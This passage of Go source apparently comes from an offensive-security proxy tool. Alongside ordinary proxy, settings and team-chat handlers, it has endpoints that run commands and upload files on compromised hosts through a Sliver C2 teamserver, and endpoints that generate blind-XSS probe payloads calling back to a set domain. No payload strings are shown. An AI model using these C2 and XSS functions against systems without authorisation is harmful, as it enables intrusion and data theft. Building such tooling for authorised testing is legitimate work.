if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: Disconnect panic: %v", name, r)
}
}()
return ep.Disconnect(ctx)
}
func safeCommand(name string, ep sdk.ExecProvider, ctx context.Context, input string) (result sdk.CommandResult) {
defer func() {
if r := recover(); r != nil {
result = sdk.CommandResult{Error: fmt.Sprintf("plugin panic: %v", r)}
log.Printf("[plugins] %s: Command panic: %v", name, r)
}
}()
return ep.Command(ctx, input)
}
+71
View File
@@ -0,0 +1,71 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleGetReplace(w http.ResponseWriter, r *http.Request) {
rules := s.replace.Rules()
if rules == nil {
rules = []proxy.MatchReplaceRule{}
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.replace.IsEnabled(),
"rules": rules,
})
}
func (s *APIServer) handleSetReplaceEnabled(w http.ResponseWriter, r *http.Request) {
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.replace.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request) {
var body struct {
Target string `json:"target"`
MatchType string `json:"matchType"`
Match string `json:"match"`
Replace string `json:"replace"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Target == "" || body.Match == "" {
writeError(w, http.StatusBadRequest, "target and match are required")
return
}
valid := map[string]bool{
"request_header": true, "request_body": true,
"response_header": true, "response_body": true,
"ws_message": true,
}
if !valid[body.Target] {
writeError(w, http.StatusBadRequest, "invalid target")
return
}
if body.MatchType == "" {
body.MatchType = "string"
}
rule := s.replace.AddRule(body.Target, body.MatchType, body.Match, body.Replace)
writeJSON(w, http.StatusCreated, rule)
}
func (s *APIServer) handleDeleteReplaceRule(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.replace.RemoveRule(id) {
writeError(w, http.StatusNotFound, "rule not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
+108
View File
@@ -0,0 +1,108 @@
package api
import (
"encoding/base64"
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleListRequests(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
offset, _ := strconv.Atoi(q.Get("offset"))
limit, _ := strconv.Atoi(q.Get("limit"))
status, _ := strconv.Atoi(q.Get("status"))
extMode := q.Get("extMode")
if extMode == "" {
extMode = "exclude"
}
f := proxy.RequestFilter{
Host: q.Get("host"),
Method: q.Get("method"),
Status: status,
Search: q.Get("search"),
Exclude: q.Get("exclude"),
ExtMode: extMode,
ContentType: q.Get("contentType"),
Offset: offset,
Limit: limit,
}
if q.Get("scope_only") == "true" && s.scope != nil {
f.InScopeFunc = s.scope.InScope
}
items, total := s.store.List(f)
type summary struct {
ID string `json:"id"`
Seq int `json:"seq"`
Timestamp string `json:"timestamp"`
Method string `json:"method"`
URL string `json:"url"`
Host string `json:"host"`
Protocol string `json:"protocol,omitempty"`
StatusCode int `json:"statusCode"`
ContentType string `json:"contentType"`
DurationMs int64 `json:"durationMs"`
ResponseSize int `json:"responseSize"`
}
summaries := make([]summary, 0, len(items))
for _, item := range items {
summaries = append(summaries, summary{
ID: item.ID,
Seq: item.Seq,
Timestamp: item.Timestamp.Format("2006-01-02T15:04:05.000Z"),
Method: item.Method,
URL: item.URL,
Host: item.Host,
Protocol: item.Protocol,
StatusCode: item.StatusCode,
ContentType: item.ContentType,
DurationMs: item.Duration.Milliseconds(),
ResponseSize: item.ResponseSize,
})
}
writeJSON(w, http.StatusOK, map[string]any{
"items": summaries,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
item := s.store.Get(id)
if item == nil {
writeError(w, http.StatusNotFound, "request not found")
return
}
writeJSON(w, http.StatusOK, map[string]any{
"id": item.ID,
"timestamp": item.Timestamp.Format("2006-01-02T15:04:05.000Z"),
"method": item.Method,
"url": item.URL,
"host": item.Host,
"protocol": item.Protocol,
"statusCode": item.StatusCode,
"contentType": item.ContentType,
"durationMs": item.Duration.Milliseconds(),
"responseSize": item.ResponseSize,
"reqRaw": base64.StdEncoding.EncodeToString(item.ReqRaw),
"respRaw": base64.StdEncoding.EncodeToString(item.RespRaw),
})
}
func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request) {
s.store.Clear()
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
+54
View File
@@ -0,0 +1,54 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleGetScope(w http.ResponseWriter, r *http.Request) {
rules := s.scope.Rules()
if rules == nil {
rules = []proxy.ScopeRule{}
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.scope.IsEnabled(),
"rules": rules,
})
}
func (s *APIServer) handleSetScopeEnabled(w http.ResponseWriter, r *http.Request) {
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.scope.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
func (s *APIServer) handleAddScopeRule(w http.ResponseWriter, r *http.Request) {
var body proxy.ScopeRule
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Pattern == "" {
writeError(w, http.StatusBadRequest, "pattern is required")
return
}
rule := s.scope.AddRule(body)
writeJSON(w, http.StatusCreated, rule)
}
func (s *APIServer) handleDeleteScopeRule(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.scope.RemoveRule(id) {
writeError(w, http.StatusNotFound, "rule not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
+206
View File
@@ -0,0 +1,206 @@
package api
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"net/http"
"strings"
"time"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleGetSettings(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
settings := s.settings
s.mu.RUnlock()
if s.listenerMode {
writeJSON(w, http.StatusOK, settings)
return
}
resp := struct {
Settings
ScopeEnabled bool `json:"scopeEnabled"`
ScopeRules []proxy.ScopeRule `json:"scopeRules"`
}{
Settings: settings,
ScopeEnabled: s.scope.IsEnabled(),
ScopeRules: s.scope.Rules(),
}
if resp.ScopeRules == nil {
resp.ScopeRules = []proxy.ScopeRule{}
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleUpdateSettings(w http.ResponseWriter, r *http.Request) {
var body struct {
InterceptEnabled *bool `json:"interceptEnabled"`
InterceptTimeout *int `json:"interceptTimeout"`
ListenerURL *string `json:"listenerUrl"`
HTTP2Enabled *bool `json:"http2Enabled"`
KeepAliveEnabled *bool `json:"keepAliveEnabled"`
SOCKSHost *string `json:"socksHost"`
SOCKSPort *int `json:"socksPort"`
SOCKSUsername *string `json:"socksUsername"`
SOCKSPassword *string `json:"socksPassword"`
SOCKSDNS *bool `json:"socksDns"`
TeamToken *string `json:"teamToken"`
TeamNickname *string `json:"teamNickname"`
MaxRequests *int `json:"maxRequests"`
DisableUpdateChecks *bool `json:"disableUpdateChecks"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.mu.Lock()
if body.InterceptEnabled != nil && s.intercept != nil {
s.settings.InterceptEnabled = *body.InterceptEnabled
s.intercept.SetEnabled(*body.InterceptEnabled)
}
if body.InterceptTimeout != nil && *body.InterceptTimeout > 0 && s.intercept != nil {
s.settings.InterceptTimeout = *body.InterceptTimeout
s.intercept.SetTimeout(time.Duration(*body.InterceptTimeout) * time.Second)
}
oldURL := s.settings.ListenerURL
oldToken := s.settings.TeamToken
oldNick := s.settings.TeamNickname
urlChanged := false
tokenChanged := false
nickChanged := false
if body.ListenerURL != nil {
s.settings.ListenerURL = *body.ListenerURL
urlChanged = *body.ListenerURL != oldURL
}
if body.HTTP2Enabled != nil && s.transport != nil {
s.settings.HTTP2Enabled = *body.HTTP2Enabled
s.transport.SetHTTP2(*body.HTTP2Enabled)
}
if body.KeepAliveEnabled != nil && s.transport != nil {
s.settings.KeepAliveEnabled = *body.KeepAliveEnabled
s.transport.SetKeepAlive(*body.KeepAliveEnabled)
}
socksChanged := false
if body.SOCKSHost != nil {
s.settings.SOCKSHost = *body.SOCKSHost
socksChanged = true
}
if body.SOCKSPort != nil {
s.settings.SOCKSPort = *body.SOCKSPort
socksChanged = true
}
if body.SOCKSUsername != nil {
s.settings.SOCKSUsername = *body.SOCKSUsername
socksChanged = true
}
if body.SOCKSPassword != nil {
s.settings.SOCKSPassword = *body.SOCKSPassword
socksChanged = true
}
if body.SOCKSDNS != nil {
s.settings.SOCKSDNS = *body.SOCKSDNS
socksChanged = true
}
if socksChanged && s.transport != nil {
s.transport.SetSOCKS(
s.settings.SOCKSHost,
s.settings.SOCKSPort,
s.settings.SOCKSUsername,
s.settings.SOCKSPassword,
s.settings.SOCKSDNS,
)
}
if body.TeamToken != nil {
s.settings.TeamToken = *body.TeamToken
tokenChanged = *body.TeamToken != oldToken
}
if body.TeamNickname != nil {
s.settings.TeamNickname = *body.TeamNickname
nickChanged = *body.TeamNickname != oldNick
}
if body.MaxRequests != nil && *body.MaxRequests > 0 && s.store != nil {
s.settings.MaxRequests = *body.MaxRequests
s.store.SetMaxSize(*body.MaxRequests)
}
if body.DisableUpdateChecks != nil {
s.settings.DisableUpdateChecks = *body.DisableUpdateChecks
}
settings := s.settings
s.mu.Unlock()
teamSettingsChanged := urlChanged || tokenChanged || nickChanged
if s.listenerRelay != nil && teamSettingsChanged {
nickOnly := nickChanged && !urlChanged && !tokenChanged
canRename := nickOnly &&
settings.TeamNickname != "" &&
settings.ListenerURL != "" &&
settings.TeamToken != ""
if canRename {
if err := s.renameOnTeamServer(settings.ListenerURL, settings.TeamToken, oldNick, settings.TeamNickname); err != nil {
if errors.Is(err, errNicknameInUse) {
s.mu.Lock()
s.settings.TeamNickname = oldNick
s.mu.Unlock()
writeError(w, http.StatusConflict, err.Error())
return
}
// Not connected / transport failure: fall back to reconnect.
s.listenerRelay.Update(settings.ListenerURL, settings.TeamToken, settings.TeamNickname)
} else {
s.listenerRelay.SetNickname(settings.TeamNickname)
}
} else {
s.listenerRelay.Update(settings.ListenerURL, settings.TeamToken, settings.TeamNickname)
}
}
writeJSON(w, http.StatusOK, settings)
}
// renameOnTeamServer returns nil on success, errNicknameInUse on 409, or an error otherwise.
func (s *APIServer) renameOnTeamServer(listenerURL, token, oldNick, newNick string) error {
bodyJSON, err := json.Marshal(map[string]string{
"oldNickname": oldNick,
"newNickname": newNick,
})
if err != nil {
return err
}
base := strings.TrimRight(listenerURL, "/")
req, err := http.NewRequest(http.MethodPost, base+"/api/v1/team/nickname", bytes.NewReader(bodyJSON))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("X-Joro-Nickname", oldNick)
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
switch resp.StatusCode {
case http.StatusOK:
return nil
case http.StatusConflict:
return errNicknameInUse
default:
return fmt.Errorf("teamserver returned %d", resp.StatusCode)
}
}
+8
View File
@@ -0,0 +1,8 @@
package api
import "net/http"
func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
hosts := s.store.Sitemap()
writeJSON(w, http.StatusOK, map[string]any{"hosts": hosts})
}
+204
View File
@@ -0,0 +1,204 @@
package api
import (
"encoding/json"
"io"
"net/http"
"github.com/BishopFox/joro/internal/sliver"
)
func (s *APIServer) handleSliverStatus(w http.ResponseWriter, r *http.Request) {
lhost, lport, connected := s.sliverClient.ServerInfo()
resp := map[string]any{"connected": connected}
if connected {
resp["lhost"] = lhost
resp["lport"] = lport
id, name, _ := s.sliverClient.GetActiveSession()
if id != "" {
resp["sessionId"] = id
resp["sessionName"] = name
}
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleSliverConnect(w http.ResponseWriter, r *http.Request) {
var cfg sliver.OperatorConfig
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if cfg.LHost == "" || cfg.LPort == 0 {
writeError(w, http.StatusBadRequest, "lhost and lport are required")
return
}
if cfg.CACertificate == "" || cfg.Certificate == "" || cfg.PrivateKey == "" {
writeError(w, http.StatusBadRequest, "ca_certificate, certificate, and private_key are required")
return
}
if err := s.sliverClient.Connect(cfg); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"connected": true})
}
func (s *APIServer) handleSliverDisconnect(w http.ResponseWriter, r *http.Request) {
if err := s.sliverClient.Disconnect(); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"connected": false})
}
func (s *APIServer) handleSliverSessions(w http.ResponseWriter, r *http.Request) {
if !s.sliverClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
return
}
sessions, err := s.sliverClient.ListSessions(r.Context())
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
beacons, err := s.sliverClient.ListBeacons(r.Context())
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]any{
"sessions": sessions,
"beacons": beacons,
})
}
func (s *APIServer) handleSliverExecute(w http.ResponseWriter, r *http.Request) {
if !s.sliverClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
return
}
var body struct {
SessionID string `json:"sessionId"`
Command string `json:"command"`
Args []string `json:"args"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.SessionID == "" || body.Command == "" {
writeError(w, http.StatusBadRequest, "sessionId and command are required")
return
}
stdout, stderr, err := s.sliverClient.Execute(r.Context(), body.SessionID, body.Command, body.Args, false)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{
"output": stdout,
"error": stderr,
})
}
// handleSliverCommand dispatches a sliver-client command.
func (s *APIServer) handleSliverCommand(w http.ResponseWriter, r *http.Request) {
if !s.sliverClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
return
}
var body struct {
Input string `json:"input"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Input == "" {
writeJSON(w, http.StatusOK, sliver.CommandResult{})
return
}
result := s.sliverClient.Dispatch(r.Context(), body.Input)
writeJSON(w, http.StatusOK, result)
}
// handleSliverDownload serves cached binary data (download, screenshot, procdump).
func (s *APIServer) handleSliverDownload(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if id == "" {
writeError(w, http.StatusBadRequest, "missing download id")
return
}
data, filename, ok := s.sliverClient.GetDownload(id)
if !ok {
writeError(w, http.StatusNotFound, "download not found or expired")
return
}
w.Header().Set("Content-Disposition", "attachment; filename=\""+filename+"\"")
w.Header().Set("Content-Type", "application/octet-stream")
w.Write(data)
}
// handleSliverUpload handles file upload to a remote target.
func (s *APIServer) handleSliverUpload(w http.ResponseWriter, r *http.Request) {
if !s.sliverClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
return
}
sessionID, _, isBeacon := s.sliverClient.GetActiveSession()
if sessionID == "" {
writeError(w, http.StatusBadRequest, "no active session")
return
}
if err := r.ParseMultipartForm(32 << 20); err != nil { // 32MB max
writeError(w, http.StatusBadRequest, "invalid multipart form")
return
}
remotePath := r.FormValue("remotePath")
if remotePath == "" {
writeError(w, http.StatusBadRequest, "remotePath is required")
return
}
file, header, err := r.FormFile("file")
if err != nil {
writeError(w, http.StatusBadRequest, "file is required")
return
}
defer file.Close()
data, err := io.ReadAll(file)
if err != nil {
writeError(w, http.StatusInternalServerError, "failed to read file")
return
}
path, err := s.sliverClient.Upload(r.Context(), sessionID, remotePath, data, header.Filename, isBeacon)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{
"path": path,
})
}
+124
View File
@@ -0,0 +1,124 @@
package api
import (
"net"
"net/http"
"os"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/update"
)
func (s *APIServer) handleSystemInfo(w http.ResponseWriter, r *http.Request) {
hostname, _ := os.Hostname()
ip := "127.0.0.1"
addrs, err := net.InterfaceAddrs()
if err == nil {
for _, addr := range addrs {
if ipNet, ok := addr.(*net.IPNet); ok && !ipNet.IP.IsLoopback() && ipNet.IP.To4() != nil {
ip = ipNet.IP.String()
break
}
}
}
writeJSON(w, http.StatusOK, map[string]string{
"hostname": hostname,
"ip": ip,
})
}
func (s *APIServer) handleVersionInfo(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
info := s.buildInfo
s.mu.RUnlock()
writeJSON(w, http.StatusOK, info)
}
// handleCheckUpdate runs an on-demand update check and refreshes BuildInfo.
// Runs regardless of the DisableUpdateChecks setting — it is an explicit user
// action, not an automatic check. Does NOT perform the update itself; the
// UpdateBanner component owns the save-configs-and-update flow.
func (s *APIServer) handleCheckUpdate(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
currentVersion := s.buildInfo.Version
prevAvailable := s.buildInfo.UpdateAvailable
prevLatest := s.buildInfo.LatestVersion
s.mu.RUnlock()
latestVersion, available := update.CheckForUpdate(currentVersion)
s.mu.Lock()
s.buildInfo.UpdateAvailable = available
s.buildInfo.LatestVersion = latestVersion
info := s.buildInfo
s.mu.Unlock()
if available && (!prevAvailable || prevLatest != latestVersion) {
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.available",
Data: info,
}
}
writeJSON(w, http.StatusOK, info)
}
func (s *APIServer) handleRestart(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]string{"status": "restarting"})
go func() {
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.restarting",
Data: map[string]string{},
}
// Give the WebSocket event time to reach clients before shutting down.
time.Sleep(500 * time.Millisecond)
s.restart = true
if s.cancelFunc != nil {
s.cancelFunc()
}
}()
}
func (s *APIServer) handleUpdate(w http.ResponseWriter, r *http.Request) {
// Respond immediately; the update runs in the background with progress via WebSocket.
// RunUpdate detects install mode internally — git checkouts run `git pull && make build`,
// downloaded binaries fetch the matching goreleaser asset from GitHub.
writeJSON(w, http.StatusOK, map[string]string{"status": "updating"})
go func() {
progress := func(msg string) {
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.progress",
Data: map[string]string{"stage": msg},
}
}
if err := update.RunUpdate(progress); err != nil {
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.failed",
Data: map[string]string{"error": err.Error()},
}
return
}
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.restarting",
Data: map[string]string{},
}
// Give the WebSocket event time to reach clients before shutting down.
time.Sleep(500 * time.Millisecond)
// Trigger graceful shutdown; main.go will call update.Restart() after Start() returns.
s.restart = true
if s.cancelFunc != nil {
s.cancelFunc()
}
}()
}
+203
View File
@@ -0,0 +1,203 @@
package api
import (
"encoding/json"
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/team"
"github.com/hashicorp/go-uuid"
)
// --- Teamserver-side handlers (direct DB access) ---
func (s *APIServer) handleListChatMessages(w http.ResponseWriter, r *http.Request) {
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if limit <= 0 {
limit = 100
}
items, total, err := s.teamStore.ListMessages(offset, limit)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if items == nil {
items = []team.ChatMessage{}
}
writeJSON(w, http.StatusOK, map[string]any{
"items": items,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleCreateChatMessage(w http.ResponseWriter, r *http.Request) {
var body struct {
Text string `json:"text"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Text == "" {
writeError(w, http.StatusBadRequest, "text is required")
return
}
author := team.NicknameFromContext(r.Context())
id, err := uuid.GenerateUUID()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
msg, err := s.teamStore.CreateMessage(id, author, body.Text)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.hub.Broadcast() <- event.WSEvent{Type: "team.chat", Data: msg}
writeJSON(w, http.StatusCreated, msg)
}
func (s *APIServer) handleListActiveUsers(w http.ResponseWriter, r *http.Request) {
users := s.hub.ActiveUsers()
writeJSON(w, http.StatusOK, users)
}
func (s *APIServer) handleTeamRename(w http.ResponseWriter, r *http.Request) {
var body struct {
OldNickname string `json:"oldNickname"`
NewNickname string `json:"newNickname"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.OldNickname == "" || body.NewNickname == "" {
writeError(w, http.StatusBadRequest, "oldNickname and newNickname are required")
return
}
if body.OldNickname == body.NewNickname {
writeJSON(w, http.StatusOK, map[string]string{"status": "unchanged"})
return
}
// Prevent a user from renaming a different user.
if caller := team.NicknameFromContext(r.Context()); caller != body.OldNickname {
writeError(w, http.StatusForbidden, "cannot rename a different user")
return
}
ok, err := s.hub.Rename(body.OldNickname, body.NewNickname)
if err != nil {
writeError(w, http.StatusConflict, err.Error())
return
}
if !ok {
writeError(w, http.StatusNotFound, "not connected")
return
}
writeJSON(w, http.StatusOK, map[string]string{"status": "renamed"})
}
func (s *APIServer) handleListTeamNoteHosts(w http.ResponseWriter, r *http.Request) {
hosts, err := s.teamStore.ListHosts()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if hosts == nil {
hosts = []string{}
}
writeJSON(w, http.StatusOK, hosts)
}
func (s *APIServer) handleListTeamNotes(w http.ResponseWriter, r *http.Request) {
host := r.URL.Query().Get("host")
if host == "" {
writeError(w, http.StatusBadRequest, "host parameter required")
return
}
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if limit <= 0 {
limit = 50
}
items, total, err := s.teamStore.ListNotes(host, offset, limit)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if items == nil {
items = []team.Note{}
}
writeJSON(w, http.StatusOK, map[string]any{
"items": items,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleCreateTeamNote(w http.ResponseWriter, r *http.Request) {
var body struct {
Host string `json:"host"`
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Host == "" || body.Content == "" {
writeError(w, http.StatusBadRequest, "host and content are required")
return
}
author := team.NicknameFromContext(r.Context())
id, err := uuid.GenerateUUID()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
note, err := s.teamStore.CreateNote(id, body.Host, body.Content, author)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.hub.Broadcast() <- event.WSEvent{Type: "team.note", Data: note}
writeJSON(w, http.StatusCreated, note)
}
func (s *APIServer) handleDeleteTeamNote(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if err := s.teamStore.DeleteNote(id); err != nil {
writeError(w, http.StatusNotFound, "note not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
// --- Proxy-side handlers (forward to teamserver via proxyToListener) ---
func (s *APIServer) handleProxyTeamChat(w http.ResponseWriter, r *http.Request) {
s.proxyToListener(w, r)
}
func (s *APIServer) handleProxyTeamUsers(w http.ResponseWriter, r *http.Request) {
s.proxyToListener(w, r)
}
func (s *APIServer) handleProxyTeamNotes(w http.ResponseWriter, r *http.Request) {
s.proxyToListener(w, r)
}
+48
View File
@@ -0,0 +1,48 @@
package api
import (
"io/fs"
"net/http"
"strings"
"sync"
joroweb "github.com/BishopFox/joro/web"
)
var (
themeCSS string
themeCSSOnce sync.Once
)
// handleThemeVariables serves all theme CSS variable definitions as a single
// stylesheet. Plugin UIs include this via <link> and set data-theme on their
// own <html> element to activate the correct theme.
func (s *APIServer) handleThemeVariables(w http.ResponseWriter, _ *http.Request) {
themeCSSOnce.Do(func() {
var sb strings.Builder
themesFS, err := fs.Sub(joroweb.Themes, "src/themes")
if err != nil {
return
}
entries, err := fs.ReadDir(themesFS, ".")
if err != nil {
return
}
for _, entry := range entries {
if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".css") {
continue
}
data, err := fs.ReadFile(themesFS, entry.Name())
if err != nil {
continue
}
sb.Write(data)
sb.WriteByte('\n')
}
themeCSS = sb.String()
})
w.Header().Set("Content-Type", "text/css; charset=utf-8")
w.Header().Set("Cache-Control", "public, max-age=86400")
w.Write([]byte(themeCSS)) //nolint:errcheck
}
+38
View File
@@ -0,0 +1,38 @@
package api
import (
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleListWSMessages(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
offset, _ := strconv.Atoi(q.Get("offset"))
limit, _ := strconv.Atoi(q.Get("limit"))
if limit <= 0 {
limit = 100
}
items, total := s.wsStore.List(proxy.WSMessageFilter{
Host: q.Get("host"),
Offset: offset,
Limit: limit,
})
if items == nil {
items = []*proxy.CapturedWSMessage{}
}
writeJSON(w, http.StatusOK, map[string]any{
"items": items,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleClearWSMessages(w http.ResponseWriter, r *http.Request) {
s.wsStore.Clear()
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
+300
View File
@@ -0,0 +1,300 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/xsshunter"
)
func (s *APIServer) handleListProbes(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
probes, err := s.xssStore.ListProbes()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if probes == nil {
probes = []xsshunter.Probe{}
}
writeJSON(w, http.StatusOK, probes)
}
func (s *APIServer) handleCreateProbe(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var body struct {
Name string `json:"name"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
probe, err := xsshunter.GenerateProbe(s.xssStore, body.Name)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusCreated, probe)
}
func (s *APIServer) handleDeleteProbe(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
id := r.PathValue("id")
if err := s.xssStore.DeleteProbe(id); err != nil {
writeError(w, http.StatusNotFound, "probe not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
func (s *APIServer) handleGetPayloads(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
id := r.PathValue("id")
probe, err := s.xssStore.FindProbeByID(id)
if err != nil {
writeError(w, http.StatusNotFound, "probe not found")
return
}
cfg, _ := s.cbStore.GetConfig()
domain := cfg.Domain
if domain == "" {
writeError(w, http.StatusBadRequest, "callback domain not configured - set it in the Interact tab")
return
}
// Build the probe URL using the callback HTTP port.
port := s.cfg.CallbackHTTPPort
var probeURL string
if port == 80 {
probeURL = fmt.Sprintf("http://%s/_xss/%s", domain, probe.ProbeID)
} else {
probeURL = fmt.Sprintf("http://%s:%d/_xss/%s", domain, port, probe.ProbeID)
}
variants := xsshunter.PayloadVariants(probeURL)
// Also generate HTTPS payload variants when HTTPS is configured.
if s.cfg.CallbackHTTPSPort > 0 {
httpsPort := s.cfg.CallbackHTTPSPort
var httpsProbeURL string
if httpsPort == 443 {
httpsProbeURL = fmt.Sprintf("https://%s/_xss/%s", domain, probe.ProbeID)
} else {
httpsProbeURL = fmt.Sprintf("https://%s:%d/_xss/%s", domain, httpsPort, probe.ProbeID)
}
variants = append(variants, xsshunter.PayloadVariants(httpsProbeURL)...)
}
writeJSON(w, http.StatusOK, variants)
}
func (s *APIServer) handleListFires(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
probeID := r.URL.Query().Get("probe_id")
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if limit <= 0 {
limit = 50
}
items, total, err := s.xssStore.ListFires(probeID, offset, limit)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if items == nil {
items = []xsshunter.FireSummary{}
}
writeJSON(w, http.StatusOK, map[string]any{
"items": items,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleGetFire(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
id := r.PathValue("id")
fire, err := s.xssStore.GetFire(id)
if err != nil {
